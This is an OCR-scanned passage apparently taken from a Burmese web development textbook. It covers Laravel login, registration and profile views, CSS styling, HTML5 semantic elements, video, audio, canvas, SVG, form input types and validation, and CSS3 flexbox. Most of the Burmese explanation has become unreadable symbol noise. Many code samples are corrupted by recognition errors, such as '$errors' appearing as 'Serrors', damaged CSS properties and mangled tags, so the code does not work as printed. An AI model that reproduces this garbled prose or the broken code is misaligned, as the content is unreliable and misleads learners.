° login Action meo» Login Form oo 60:800003 Input Data o? 098: Auth: :attempt () 
š Authenticate coÓcooloooŠ!I Authenticate asceza [ec qé user/profile Route o? 

: e ° ere Ç š ° ` 
Redirect cpdeo{8:1 ecsəoC[eC<]Ccooo user/login Route o» Error Message 4320? 
Redirect cpdeoclos05u 

° register Action o» Authentication $o9(8: Authenticate (so[8:000:39é user/profile 
Route o? Redirect asolo Authenticate @[8de00:9Ee0> user/register View 
o? edL eooo: lovos 

* create Action meo% Register Form oo co:Ocooo Input Data o? Validate e$oloooSu 

n . e . ° ç Ç ° ° š ` ° ç 
email Field 350905 unique 09 00p909000:0200? ovo olu unique:users € səƏglo5oo 
` e A oro ° ° coc Oo C s e ç 
users Table có@o sq email $[$:000:000: 2200009 00§6:0$0503006000{860lo0051 
Validation Pass (S96 Model š, insert () Function o? a:f: User Data o? users Table 
cbeo 0099026:600los051 [8:033091 user/1ogin Route o? Redirect coóoloooŠi Validation 
Fail (5$9660»? user/register Route o? Error Message ¿0900 Redirect coóoloooóu 
e profile Action meo% Authentication $o9(8: Authenticate @[gdco0:9 6 user/login 
Route o? Redirect c99000:0lo»o3i Authenticate (S9[8:220:59 qe cooo user/profile View 
° e ° : > ° oco e co : e ` Ç IN 
o? eoS(peo(8:: View 43207 soos: (o|$6 8300209 wa Login oco0o:2» User e, 329/032000) 
60303 036030099996: €0:000:0lo»oSu 
oq|Š update, logout § delete Action 602026002 020350360 soc5cooSecocoo (308c8050 I 
c$sa603 Route, Model š Controller 03 qSo2»:(9(s9c9 View Template eo? soošcoošooo5esooo5gol 
eoS5i Master View (S99) /resources/views/template.blade.php 9o 6320050132096: CE 





o0o:co:o]i 
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<! DOGTY PES hemi 

<html lang="en"> 

<head> 
<meta charset="UTF-8"> 
<title>Laravel Example</title> 








<link href="<?= URL: :asset('css/app.css') ?>" rel="stylesheet"> 
</head> 
<body> 

<hl>Laravel Example</h1> 

<div class="container"> 

(yield ("main") 

</div> 
</body> 
</html> 





CSS $64|09s0098320505 Path coé:e[o206:02 URL: :asset () 320932098 q,05000:00002 ooo9(gjolu 


soascoas(6: /resources/views/us r/login.blade.php qo 632009035096: 6€:220:60:0]u 





@extends ("template") 


@section ("main") 
<h2>Login</h2> 
<? if( count(Serrors) ): ?> 
<div class="errors"> 
<ul> 
<? foreach (S$errors->all() as Serr): ?> 
<li><?= Serr ?»«/li» 
<? endforeach; ?> 
eile 
</div> 
<? endif; 9» 


<? if ( session('info') ): ?> 
<div class="info"> 

<?= session('info') ?> 
</div> 


<? endif; ?> 


<form method="post" action="<?= URL::to('user/login') ?>"> 
<input type="hidden" name="_token" value="<?= csrf token() ?>"> 








<input type="email" name="email" required placeholder="Your Email"><br> 
<input type="password" name="password" required placeholder="Password"> 





<br><br> 


<input type="submit" value="Login"> 
<a href='<?= URL::to('user/register') ?>'>Register</a> 
</form> 
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@stop 


Login Form oo$s(s$(8: Error à Message co2q8é cofo o»$eloop3: oxoSecocoo:oloooi 632005 
:90 user/register Route o0 25$:000:05 Link oo@əcooŠ: cop3000:0le2»:00091 anna: 
42:92 9? BF 2 TVR: OR 


Register Form 390305 /resources/views/user/register.blade.php qo 6320050132096: 





@9 300020 


@extends ("template") 


@section ("main") 
<h2>Register</h2> 


<? if( count(Serrors) ): ?> 
<div class="errors"> 


<ul> 
<? foreach(Serrors->all() as Serr): ?> 
<li><?= Serr ?»«/li» 
<? endforeach; ?> 
Gus 
</div> 


<? endif; ?> 


<form action="<?= URL::to('user/register') ?>" method="post"> 





<input type="hidden" name="_token" value="<?= csrf token() ?>"> 





<input type="text" name="name" required placeholder="Your Name"><br> 

<input type="email" name="email" required placeholder="Your Email"><br> 

<input type="password" name="password" required 
placeholder="Password"><br> 

<input type="password" name="password again" required 
placeholder="Password Again"> 





«ede d opus 


<input type="submit" value="Register"> 

<a href='<?= URL::to('user/login') ?>'>Login</a> 
</form> 
@stop 





sonas: User Profile cu 98320305 /resources/views/user/profile.blade.php 9o 
6322030132026: 6€:220:60:0]i 


Professional Web Developer - səəŠ: (o J) MVC with Laravel çoç 





@extends ("template") 


@section("main") 


<? if( session('info') ): ?> 
<div class="info"> 

<?= session('info') ?> 
</div> 


<? endif; ?> 


«form action="<?= URL::to('user/profile') ?>" method="post"> 





<inpu 
<inpu 


type="hidden" name=" token" value="<?= csrf token() ?>"> 
type="hidden" name="id" required value="<?= Sid ?>"> 





Ge Gl 





<input type="text" name="name" required value="<?= Sname ?>"> 











Name<br> 

<input type="email" name="email" required value="<?= Semail ?>"> 
Email<br><br> 

<input type="text" name="phone" value="<?= Sphone ?>"> 

Phone<br> 








<input type="text" name="address" value="<?= Saddress ?>"> 
Address 


<i> br 
<input type="password" name="password"> 
Password 
<i> Dr- 


<input type="submit" value="Update"> 
<br><br> 


<a href="<?= URL::to("user/logout") ?>">Logout</a> | 

<a href="<?= URL: :to("user/delete/$id") ?>">Delete Account</a> 
</form> 
@stop 


azo M-V-C Code cooco>oə [Gadgol[u Style səf opf: Goaz /public/css/ 
° M o IN ` o Oo C 
app.css 9096802 eco CSS cogo? 6320030] CSS Code $ 3902:09:0903011 


html, body í 
margin: 0; 
peces) 
font-family: atrial; sans-serif, 


html { 
background: #efefef; 
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body { 
width: 600px; 
margin: 20px auto; 
background: #fff; 
padding: 20px; 
border: 4px solid #ddd; 
border-radius: 5px; 


hi í 
margin: 0 020px 0; 
padding: 0 0 10px 0; 
border-bottom: lpx solid #ddd; 
font-size: 21px; 


h2 { 
Color: 4555; 
paddimg: 07 
margin: 0 O 10px 0; 
font-size: 16px; 


) 


.errors { 
background: #fee; 
border: lpx solid #900; 
font-size 13x; 
margin: 10px 0; 

} 


santo: { 
background: #def; 
border: lpx solid #09f; 
font-size: 13px; 
padding: 10px; 
margin: 10px 0; 





c930002 Code cogeo» dou 32969 Browser qo localhost/laravel/public o? 095:c909q6 
Login Form dso coo {6Eqe00 fodolai secon Route eo Root URI à Request coócooà 
8 a a) I? oF qu $ Nequest a : 
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</hgroup> 


<footer> - <footer> Element o? Section odg [86:88 Section Foot 32683005: [o 860lo» 5v $ 
80 090 «header» 085 Document Foot 39684 csp Section 0299q Foot 3268 gola: [ovl 


«nav» - sə[go: Document ap:o0á|o5soo5coo:o Navigation Link qp:o? «nav» Element 39095: 
ç < o € < ` ^ - . ` ° ç QC O ° € 
0099996:000:$60looo3i səco:ojo[ec Website e, Main Navigation o» 0099036:805:qolos051 


«aside» - Section 0069439802 Content 0070303 «00500 Content qp: popó:copdo3c:8 ob:gol 
0001 «header» š <footer> Solo: Document Sidebar 3269 H:S Section Sidebar 329684 
cops: a$: olovo 

<article> - səQ||:32@o: oo Content QP: 900:8 <article> Element 0299:$60 osi 
209 - 





<article class="comment"> 
<img src="user-one.jpg"> 
<h3>User Name</h3> 
<p>Comment Body</p> 
</article> 


<article class="comment"> 
<img src="user-two.jpg"> 
<h3>User Name</h3> 
<p> Comment Body </p> 
</article> 
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3 Semantic Element cooo NA a: eS VAS: eol u coeo[o Š: (890332096: Modernizr 
32093209 HTMLS Support 209503 Browser COPS: Semantic Element qp:o? səsocc[oc[o 


səo:[o| &6eo(s90lo»oóu 


13.5 - Multimedia 

Multimedia š 2D Graphic ooo HTML 4.01 à səƏoosəo:ep5:a|o5ooos[eóoloooŠši Web Document 
coge Video à 2D Graphic e0200p29926:0902399| Adobe Flash à Microsoft Silverlight o9co 
Plugin § 202099 come: [ayala HTMES goco Multimedia 290070 2D Graphic 
3202090] (89990596020lo6coo oi 


Video eoo? Web Document o5g20093036:$390303 «video» Element o? 3995:{(0)8E0los05u 30): 
(dos: q:Q:6c0:0li <img> Element à Image cog oop9996:qo»c9olóu 


«video src-"intro.mp4" controls autoplay loop></video> 


src Attribute eo eoS(peoc9o? Video File Path o? 000390960:&60looo3i controls Attribute 
oop?ogé:coo:qó Play/Pause, Stop oo? Video Player Control eog eo3(9eo:e»(s9olo»ou 
autoplay Attribute cop) og6:ooo:qé Document Lode coO(8:00o Video o» zaV zepo ð: 
c o QC, Q. Q E € Q IN 
Play C0060:29o: gooli autoplay 3200: preload RNA: ¿color preload oo 3ac932ccgpoo 
eoolop:u sleoeo$ Video o? (03]0oc(8: Download/ Buffer c99000:60:go(s$0looo3 v loop meow 
Repeat s90302600o0]i oop9996:000:q6 Video (8:250:02329l 320065 Replay (9$09660:239:90011 


Video/Audio o? Internet Explorer 9 &320005320|3206 Modern Browser səo:co:oo Support aso 

IN ` oc c c IN e o 
olooo5i Internet Explorer 8 gege: Browser c029060»2 zaafa pvu]: Sango elo 
q6:8 320200 Video Player jQuery Plugin eo səqp:[o2:9oloooŠi 8 Plugin 60202 HTMLS Video 
Support o? odeca: |ô: Support 209503 Browser cozg Flash o? Fallback 35684 3902: 09:320): (0) 
930263996 $8000:(03 olo»oóu 


Video 390305 momo gag <video> Element eo»o30log: i Encoding [ešoloooŠi Audio/ 

Video Encoding GORD səQ:Əl:[eecsoloooSi Video gras MPEG 4, Ogg, Flash, WebM, AVI o 

ofe Format saqj:4j:§oloooSu Format saqj:qj: Encode coócoo:o> Video cogo? Play $603 

Codecs 60900Cop9: H.264, 'Theora, VP8 ofeg saĝ: l: A2: leo: 00051 Browser cozo Support 
Sos ° o ` ç . c IN e. Q 

o9002? Codecs cop eoo[o3oloq: v 309609620:02320205 «video» Element 0599000222€:096:90 329 

co Format seq: dj: 0099996:60: Qe gelou 
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<video controls> 
<source src="intro.mp4"> 
<source src="intro.ogv"> 
<source src="intro.webm"> 
</video> 


Seong Browser cog% Support oao) Format 60303 Ignore coó Š: Support 09005 Format o? 
eg:qjo 322: (ojogo: [ago [ešoloooŠi 
Audio 390305 <audio> Element ae [o| àc |e: 0099036:3995:(4}G00 <video> §s909020]511 


c Sogi 


<video> <audio> 03390305 JavaScript API gp:cops:oloéo3 JavaScript š 932020090086 
cooSi goeo - 


«audio id="p" src-"audio.mp3"»«/audio» 


«div id="player-controls"> 














<button onclick="document.getElementByld('p') .play()">Play</button> 

<button onclick="document.getElementBylId('p') .pause()">Pause</button> 
«button onclick="document.getElementByld('p') .volume+=0.1">V+</button> 
«button onclick="document .getElementByld('p') .volume-=0.1">V-</button> 





</div> 


<audio> Element 390205 Playback Control 60303 controls Attribute 69:6 JavaScript š 0203096 
ç 89 IN e [AS c IN oc oc IN S. ` ce Oo ` 0 Q 

64 09:0009256:000:(86:(890lo»o5u 0»05096000222€:000:02 Element coo[eóco CSS š QY Style 

aso: Ro) Playback Controls o? qSeooolu 


13.6 - Graphic and Animation 


2D Drawing à Animation ases 9105122390309 «canvas» Element oloócoooloooóu Graphic 


e ç 9 


qp: co: a2l(ac:3 Animation qp:ešo2: 30:07 JavaScript $eq an: gig fsðolovoSn 


<canvas id="draw" width="300" height="225"></canvas> 
<script> 
var context = document.getElementById('draw').getContext('2d'); 
if (context) { 
context. fillRect(0, 0, 150, 100); 





context.fillStyle = '#00f'; 
context.strokeStyle = '#f00'; 
context.lineWidth = 4; 








context.fillRect(0, 0, 150, 50); 


context .strokeRect (0, 60, 150, 50); 
context .clearRect (30, 25, 90, 60); 
context .strokeRect (30, 25, 90, 60); 


J 
</script> 
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Graphic Container Element 0269[6603 «canvas» Element 220990300o:(8: eq:s3c90? Graphic qp: 
o? JavaScript àeq:s50$09:000:0lo»03i e0:000:02$ 940320205 q00300329c9 [sol 





2D Graphic à Animation ooo ogj$e05390eq:290903096 e09/6:03602220220€0Q sea: bve 
oc jl 3 e o e c c jl c ç o ec o ° c p e » c jl 
$c olo: HTML5 gy 3o$o906s006qj050lo 6020580 0006000050?220 Əo5soo5eeo[oeo: e é: [sóo 


ç 
ODO II 


@g203006 HTMLS Graphic § 252099009602) SVG (gdolos051 Scalable Vector Graphic 
3903602009 esl ooooli SVG meo XML Element qp:4 Graphic cogi! Animation cop G$09:86 


«3, -30 


$99: 09000069[96 olosi 


<svg version="1.1" width="320" height="320" xmlns="http://www.w3.org/2000/svg"> 
<defs> 
<radialGradient id="circleGrad"> 
<stop offset="0%" stop-color="rgb(255, 255, 0)" /> 
«stop offset="100%" stop-color-"rgb( 0, 255, 0)" /> 
</radialGradient> 
</defs> 





<ellipse fill="url (#circleGrad)" stroke="#000" cx="50%" 
cy="505" rx="50%" ry="50%"> 
«animate attributeName="rx" values-"0$;50$;0$" dur="2s" 
repeatCount="indefinite" /> 
«animate attributeName="ry" values="0%;50%;0%" dur="2s" 
repeatCount="indefinite" /> 
</ellipse> 
</svg> 


<ç S 


$@§060:000:0) XML o? .svg Extension à 03:05998:80 (8: Image Viewer 0960909 Browser š 


ç S < O < o ç ç N “A coc c ° o < SS 
BE (o299e05s9q6 3IDO266PC copcelo: q:  003PC:00090) (3:co008051 GOD5:922:C0O0Š, 
IN 


Animate (89650) Graphic 029909 qSe»(5$olo»o5i 0920206:006[a9 0986000051 


Ses pero: Canvas 0851 § 20: 0929 eg [0926203000 SoSo ofe: folos 005603 3225: 
oco IN : ç O co o c c IN 
(o $68 320305 Web Development 2o20% 2D Graphic səc[o2oC: ol $0: UAG cosəÓeo[eóolcooŠ!i 
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SVG à Canvas ¿0q|s09:00 2D Graphic à Animation qp:ešo2:8Coyəo5:oooogp:[eé[oscoç 2205 
§ 2920909 o? 9:00:60:3299:[9|o26 c5«902 G9:9$:qp:copo:Qesoloooóu ooo[so:a|o5oocoogi Canvas qo 
Graphic qp:o? Code ego: |Â: (Imperative oó) 0$03:9[ac:[9d90lorn SVG 9oco»» XML Element 
qp:à (Declarative 06) o$09:q(s6: (S90lo»o5u SVG File 0299000 Element qp:99p9:00o: (ac: (99) 
IS 9 2 (9, Qu T < A A SOS S Sols: € (8. 
32030 DOM API 0? o: Š: eo»! 90690: c906800CqJO9q[»:0? 6€1:250:2505905&C0le20: 0905 I (8:602 
Vector (8903320205 Graphic à Quality NAJDE: eqeoo Ana erqo Canvas 
meo Pixel Bitmap (S965 03320205 Sc9qgoeopo$olop: v slelaxg 099326005qp:qp:qo SVG 
3905;(G1006 (8: 39600:609 Program c99000:8 09(8:1 Performance 326q:(03:026$ 960390 Canvas o? 
soos: folos 


13.7 - Forms 

3994: (J) 2 HTML ccəcooàeŠoo Form Element 60203 o3603ec9c»»30lo»oài 3330500 Text Box, 
Button, Radio, Checkbox oo? Element 6020009296:Q «input» Element o2o»:(6: type Attribute oo 
HP Input Type 02$8:602 c[ooC:cŠco:àaqoloooši HTMES oeo% type Attribute 320200 
8003000 Input Type (oo) Qj:(5999050lo6cooolo»o5 333le02006009 - 


search, tel, url, email, datetime, date, month, week, time, datetime- 
local, number, range, color 





- 030(gd0lo005 


3 Input Type COZMA: PLN aefa ósa: fos Text Input &eoS(po! 32090 090929060gocp0lop: 3] 
IN : ore IN eC O^. O IN : : o c 
cos Semantic 9(6:(89coo02o5c90 soqoleoóu Touch Screen Mobile Devices copas 3209: 
aa olo»oàu «input type="email"> 38.03 Element 02602 02328] Touch Screen Device oo 
3905;(G|99 30s e(0600320205 On-Screen Keyboard go Email 08600390205 (ec8sa503 Space Bar 

3Sə@o:) € Sign .com 0202 eoS(9eo:&6eoooli 


X : ° e ç IN ° x > ° 
32000:090 <input type="url"> Element o?eo2 ec URL ezpon: qe / $ .com o2 
o IN e ç o IN A ° € IN 
o» On-Screen Keyboard qo 0093036: eL eooo <input type="search"> apqcoopo: 
Keywords sequ: qu:e(226:(8: spegcoooqpp: səsocc|Oesəoc Keywords coo Clear osf: 8003000 
Search Keyword cop 90060099036: 60S E008 asesiad]: csooCgosco:aCoeoeo[oëcoloooi 
Browser à oəšq|loooosëcoəoo Input eopdjsaq|:3200:0? o3o9oq|oq|so:cooScooo>soogoo Bobe: 
REEE: LE olooosi 
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search x Search 
Telephone 
Email 
URL 
Date Time 
v Date 
Month 
Week 
Time 
Number 


4» 


Range 
=i 


Color 


9 (99-0) Google Chrome 21 Linux - HTML5 From Support 


HTMLS Form Input Type (oo) qj:0? Google Chrome 21 eoeƏ:o5ó[o2o5c>səə] q$02002q05302 ó 
(99-0) qo eoS(gooo:olo»o*i Search Input 320905 Keyword Qê (098 Clear Button 009960:000: 02009 

oc IN IN ex o > e IN IN 
EN. ¿coloo cn Date Input 39090? qmgeg: 90 Calendar oloécooolo»oóu Number 320902 
Up/Down Spinner Button 0099996:60:000:(8: Range Input 3902030095: Slider 006960:000:0100051 

c ooc[o e OC x : e e € e 

Color Input 320505 Button BSS: 3acspeeg:op&coo Function 0099996:60:000:0lo» 05i oqj& Input 
6023209026002 User Interface 32688 səcq: [O| @s00€ go5a|o5coo eoloéó 9:4: Text Input 32684020 


c IN 
COD 00022010005 1 


HTMLS oo Input Type coposo [oc Attribute 3900660380095: Ë 590360:000:01005 1 Range Input š 
° c OC e co Ç ° ÇO > COC x co o . 

Number Input 09320505 səš@s0:oo8%9:! s (8625:00$0: eg:qjo9&603(020:0548:602 op min, max, 

step Attribute co932509909&60looo3i poeo - 





<input type="range" min="0" max-"100" step="10"> 


[Š:ecoo samospev autofocus Attribute 220590500o:e02s9q6 wopo) Input 
Element o? Document Load as [e:o Focus coÓco:coo:eo[eóoloooŠii eĝo 390530603 
Attribute meon placeholder [ešoloooŠi placeholder Attribute š Input Box 32006:90 
Internal Label a2e$à coocogicos Label 09220590300o:$60looo$s Value o0p2296:0903000à 
Internal Label oo eqpo? ogo:eo(s9(8:i Value o» Blank (sda30:9 6 Label o? [pfas ceo[oco:oo[ee cl 
ovos 6930093000 Saol - 
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<input type="email" placeholder="Please enter your email"> 


list Attribute op: 3e25:060looo3u Element s9006[6603 «datalist» à Juoda: fool 


0001 poe - 


<input type="text" list-"js-fw"» 

<datalist id="js-fw"> 
<option value="jQuery"> 
<option value="jQuery UI"> 
<option value="jQuery Mobile"> 
<option value="Dojo Toolkit"> 
<option value="MooTools"> 
<option value="YUI"> 

</datalist> 





Data List 39036399 <option> Element gp:05:(8: 02§8:6020095:000:0losu5i (8: cooo Text Input 
à list Attribute go <datalist> id o? $jo$s00960:00o:0lo»o3! slcoSooeooo à (09-8) efo 
000:02 qog: q9oo[eóoloooši 





| jQuery Mobile 





$ (99-05) HTML, Data List 


à OO Ç Ọ Ç ` : cos a. S ` e e ° e oc 
Text Input y j YANYYA Data List saog: j $on mocegropác 
esc eoo [oco:oo[eóoloooŠi 
HTMLS oo Input e0232050$ Validation cpdesoxéqyaSqp:0095: oloCcoooloooŠi Input Element eo 
E : e e e ° ç Ss : ç e e 
required Attribute 005903000: i Input o?e(s059030 Submit coóəç[o|eo eopo$0lop: 1 
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Search Po Search Po Search 
[ — j] Telephone [ross Telephone [Fos Telephone 
= aaa Email Wvalid@email.com — — Email 
| [EJ Please fill out this field. [MM es [— — — —— uRL 
DateTime | Ø Please enter an email address. | Date Time 
v Date [Month/Day/Year "| Date | v Date 
Month | Month | ^ Month 
Weck eek [ j] Week 
Time pO Tie | Time 
| 1€ Number | 1$ Number po 6) Number 
[ 
- Range E Range lB] Value must be less than or equal to 
mm, m9... 100. 





9 (oo-c) Input Validateion 


9 (oo-c) [olı «input type-"tel" required» cQ required Attribute 220390909090) 
ç : e O Cos x° ° ç co e 
320209 Form Submit 700403231 338 Input o9(8o99058e(0oco»olo»oóu 


i " T IS ç `< Nese) : ç x ç Ç ç 
<input type="email"> 320909 000399€:000:020240:00 Email Format 69402320905 946322€ 


Ga$ Boop8:e{GocoodTosuSn 


<input type-"number" max="100"> co 9203905000:02320209 00§8:03 100 comengys(8: 


Ç ° e IN ° oc IN 
MN eje: mps: eg 602,90 COOGOOII 


° o : e ° o c o.c 

3% Validate c9060:0000? oR QA «form» Element go 
Soo: CO] ç. 28.0 ge .AS Re : ce ois 

gc: ¿Colon 3099505902000: qC Browser oo Validate Q9060:92 


gogon ú səc[o2oC:səQ|:dl:c[e3oç 

novalidate Attribute c095036:0005 
ç 

e050360»90lon: I 


HTMLS5 voa Validation coÓesooCajoocog! Auto Focus coÓOesooCajoocog! Internal Label 
(Placeholder) cpdes00€6 91056028 Auto-completion (Data List) asese Developer eog 
oc oc : ` ç 89 IN oc Q c ç Oo IN 
oposope JavaScript qp:à 69:000:0$03: [0901001 App 096299 09320000209 IMAMA: eae ol 
IN ° o ^ o c CN ° c IN IN o o c oc co o X 
o»o)! HTMLS 906022 ¿sola 320007 mesón sesigeg o?050» 6090060960220 
296607503 Element à Attribute eo? 2205905 coo:o5à Browser oo e2006g0960:250: eooli 
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13.8 - CSS3 

CSS3 ooo 08; (G0: 05:09000069[8de0009 HTMLS5 99005058 05:0n0030(66 maga molan on 
SON C( ON xs o I`, 0.0 OC x c e IN o 

cop5:Ó coeo[oào> Form Input qp:c9olóu Q:Q: CSS 2.1 o» eco:&co? qes gp: Developer 
oc oc 2 (2 erc . > ° erc e Ss ` X 

cogunt Image cop o»:(9:eo»o(69 (89: JavaScript ec986«q:2o:(S:(s9(s9 esc mano! af 

Adega Style eP: a: (80390360:000:0lo»o5i 0003602,3993:06005 Feature ALN 

coeo[oco:oleoŠi 


Flex Box 

CSS3 co96soo6qjo3602 0990 $050600:9qo 3960006:90:006002 Flexbox [ešoloooši CSS3 vosos 
oo Layout ecozgopses02008320209 HTML <div> Element eo9à CSS float Property o? 3903:{0)3 
(alo ón 3994: (2) pos: sesgos ecocooà[oo[8: [ešoloooSi woseo <div> Element à 
float Property 08022 Layout eo 02936802050 qS guapa: eo: fai: euso: 3leoeo? 
Layout 390205 08: (80: qS guos: €0:000:0? Element à Property cop e$03320205 Os, (95 
3206 asof: [ešoloooŠi 329 HTML5 goco Semantic Layout Element cop oloccooosc9 
Flexbox cŠ Layout 32090? o5:[go:qoSgoS 00p9296:60:000:02 coóesooca|jo5coo olose fedo 


IN 
O200II 


Flexbox 8005900596 o006s9:2»09(9|qgoo! Flexbox Layout go Flex Container à Flex Items a2[8: 
300506 oloésgo(s$olo»o3u 9 (02-0) gaen npon 


container W 


Item 





9 (02-0) Flex Container and Flex Items 
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/ 


° ° > : IN . Q IN e IN IN ° LA 
OCOODp:S0:32G$Š Container 320302 display: flex eo 290990960: PI [ešoloooŠi [Š:o5səə] Item 

° e ceo C c e IN IN co e : : ° 
0207 €20:8|C:02098|C D: 39601632005 $6oq|c2»co»: 95029020320902 flex-direction 0? 
soos: (9| 2905905999 [eëcloooSi poeo - 


.container ( 
display: flex; 
flex-direction: row; 


Professional Web Developer - səəŠ: (oo) HTMLS Overview ç J9) 





ZEN .container Element o? display: flex o003903(8: flex-direction: row e 
c c M e e co ` e e e e e ° 
0502905000:0? 320902 Goo:8g|e:ooOOcoo:o Layout so (9932090090600) Flex Layout Box 02690) 
° Ç N € e ç Ç ON ceo ` [e] Ç e 
agoyo:[s6:3 [ešoloooŠi G:C: MUODON səcol esəoo5ecoo: o Item GOR IJE ACCON flex- 
direction o? column c3 220390360:q900li 


səc[eësoo: [sç Flex Container oo 039903630500 Item 60303 620:q6:000 $eo:ole(ooo0o: g Items 
602290qp:6$0203:0 es0$0$63206 @co:oəo:eo [dolon 333808007035 eso$033»el aaae 
6400900080609 s06:290:60 0946 flex-wrap 0? seop:(o| 2003903&60looo5i poeo - 


.container { 
display: flex; 
flex-direction: row; 
flex-wrap: wrap; 


flex-wrap 320900 wrap cŠ 000390960:000:02390909 Y (oo-so) eo Loza qsg esoo 
go [ešoloooŠi 





0 (oo-so) Flex Wrap 
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/ 


IN ee ° c O ` c coc € > ` 0 
sonas: Item eoz esspaq[ooo:Qqjooo:spo:o? flex-flow š 2903903860los051 INE 0200050 
com text-align Property àogoloooà: text-align Property o3o3:(8: left, right, 

. . > co IN ere IN ç O ° IN e Q e 
center, justify 909 0r§@:60) 2005903(8: 90059000500 poco cmo: p2090090?32090p60 
q|$22c00: ofeg 2905903860008 Flex Container ò% Item cog ps: 900500068 qpop« em: 


c e IN IN i S. x c ;| e c COC * ceo 
P2020 Géepopcoq|co25co»: ofeg 2005g03[a6:5 (850 O2OOII 9500900àCO2 e RCN = 


° flex-start 

° flex-end 

Š center 

° space-between 
°  Space-around 





030 (ssolor 1 0 (oo-e) 9 00$8:0099/5:0, zaio eaa 
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0 (oo-e) Flex Flow 
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/ 


6009000909220: qe) Property meon align-items (esoloouón Container cbeooloC o> Item coo 
o? Vertical Align ouso Šco:qecŠ oso5oos[ec:[ešoloooŠi 


T | 













9 (oo-q|) Align Item 
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/ 
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. . c c COC x co 
align-items Property 320203 9903903&C03 0240:6090060»2 - 


flex-start 
flex-end 
center 
stretch 
baseline 





o2o[eóoloooŠi 00$8:0099/5:80, 307509503 $ (oo-q|) y ccocoo[o2o28ColoooŠii 8oso5əo5a|jo5 


e c CN : I IN So Q coc e 
GOR 60lé:odoloéo3 Flex Container C2096) 9505902905 329C9 (s$&&olo»o5u 


.container ( 
display: flex; 
flex-direction: row; 
flex-wrap: wrap; 
flex-flow: center; 
align-items: stretch; 


ç 


: ç ° ° ere fa o ç e e e ç o ` 
Container 320905 32909 e(c»[£52»o$eo3(8:(9s9 «6 Item oəo%ə8|éë:3əogo5 290590303903 Property 
602030095: soo$coo$ecocooqoleo5u 


Item 6034, egean Order o? aeia: (sc HTML Structure go 0003296:000:02 3003203. 
oc c c IN e IN oc Cx e e Q c e 
3209€:200 eoS(peo(s$olooo5u HTML Structure 3503209320?€:609050 32032000? Item o099q|C: 
c oc oc IN <<. o... ° ° IN co ` e 
320209 09050?6950290509$66002 order Property o» $: qoos 05$0:39088 1, 2, 3, 4 oo»(sé 
IN e C 000.0 IN Q c coc C e oc IN 
GQ.65002 32032090? 804025022009 990390586 olos051 © (02-p9) 9^ eaan olosi 





© (02-p0) Flex Item Order 
Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/ 


898090 Item cons, 309053290:02 osol T ege 2280900000 Order 2003903qJo$00 
309053290:4 escolar: Container o59o eş (Width) 60286$ 032001 səcosəccopoo cpg 
[eo2ooa|ecoGsooooi [omeo Item go flex-grow Property o? qoos o (24) c? 
fo3a$ch 
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6 (09-g) Flex Grow 


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/ 
flex-grow à Default Value oo 0 oli Item 320:09:0$ Q9029[o2 1 c9 220990960:c90902329] es«p 
co e IN 1 IN > c o o e Ç Oo Ç x | x ° 
90303 Soga [easag olon Item cos 026903 2 c9 2209909c9020235l906009 333 Item 
oo ao[so: Item cozoo 200328(8: ešspooo2o:ooooo ec2.qe»(s$0lo»o5 


390003096 Container ooco2:[Š: esšspesošo)ysəə] Item cogo? səgoSsooo: sazeo es PeR 
oporeocgqéeox) flex-shrink Property o? ox:&ColoooSi 0040:200990908 saas sneon 
flex-grow & o2ooloooSu Container à gu: [o8:a92:0095(86e01 620:22:25p9(8969»! Item 
90209:09 do: qdo esla [SŠcsecos|écooo Item səo:co:səooo flex-grow à flex- 

z ° o ç o IN e e oc e x° 0 e co e ° ç 
shrink o9 1 cÓ meos: wopo g olon 33308 Dogg gp: 
3209600009 egglos 


.item { 
tles d le 
j 


Hh 


3 o ° IN cere erc IN IN 

lex Property op seo»: [o (ac: fð: ega 100 flex-grow 390205(860l00051 ema 1 MECON 
^ . IN e ` ç ° S IN IN o € 
flex-shrink 3209090]i co02609,$940 32684 3-Columns Layout 029909 copgage: eoS(peo:c305 
oloasi e3220$0| HTML Structure o? emo! 





<div class="wrap"> 
<header></header> 
<section> 
<nav></nav> 
<sarticle></article> 
<aside></aside> 
</section> 
<footer></footer> 
> 
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<section> Element 32026:90 Block Element (2) golo&olo»oóu «section» oo Flex Container 
(s0(8: <section> 3903630000 Element GORA Flex Items coo[eóeooli somscoas(8: 63200501 CSS 
Code § colé:00 09:00 [o2090lu 


-wrap { 
margin: 20px auto; 
width: 1200px; 

} 


header { 
height: 100px; 
background: red; 


} 


section { 
display: flex; 
align-items: stretch; 
height: 200px; 

} 


nav, aside { 
width: 200px; 
background: yellow; 
} 


article { 
flex-grow: 1; 
background: gray; 
} 


footer { 
height: 50px; 
background: orange; 


Code o?ecocoo(n309 $6 section 320905 display: flex o003903000:(8: Flex Container (96901 
ooo Flex Direction meo ec(o(£ocops: row 09 e[a3[Greege0> 20109311 Flex Item coo[eóo> nav 
` . ° < . Q < < ° : o o 
& aside 02300209 width: 200px a 200$90$00o:(8: article 09600? flex-grow: 1 Q 
< iN )| ç | < y . e o ceo ° : c 
9903003000: 01090511 3 elos nav $ aside o° 200px 6 o2058es pol: article 00600? Oq|$G4 


03 es «pco? 390209203 090302400 fedl qcošoo ó (oo-S) e»ecs3(9o0o:2»c9 qig 
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$ (oo-ç) Flex Layout Example 


CSS Code o? (o$ecocoo(o29$ 6 Flex Item egleo) nav, article § aside 02390205 Height 

cop efa [£56 ooo:0lop: 3leoeoS Flex Container (903 section go align-items: stretch e 

e(92000:0) 290205 Flex Item cogsəo:co:oo Container $jo2ecoo05 Height af səcŠoocoo: [oo[e c: 
c IN 

[ešoloooŠi 


c 


$505:8 float c0990060Q 208d CSS3 š Layout cog pscs [ő [ešoloooši 


Font Embed 

CSS3 à egoncod səo3:oCo> coOesooCajo5ooeooo Font Embed [eéoloooSi CSS à font-family 
2905905032081 02)§607503090590360:000:03 Font oo zado feo sesoce[0gooli 
Font ceco:ooëə so$:(0o:cpoc9s9(8: Style cbeoosoəo5soo5:[o|ooo:eoeoS 3995:(G]094, amago 233 
Font eqq 32c96c9090e09090lon: slefox2¢ font-family 205009032992 Web Safe Font 8.00705 
Common Font cgcal o? OS 036:¢ cloéeap§od Font eog0302009 sq: maso olor 


CSS3 oeo% Website ¿3202 Font o? ordclosp5:o3@05c09$096:60:08038603 Font Embed 
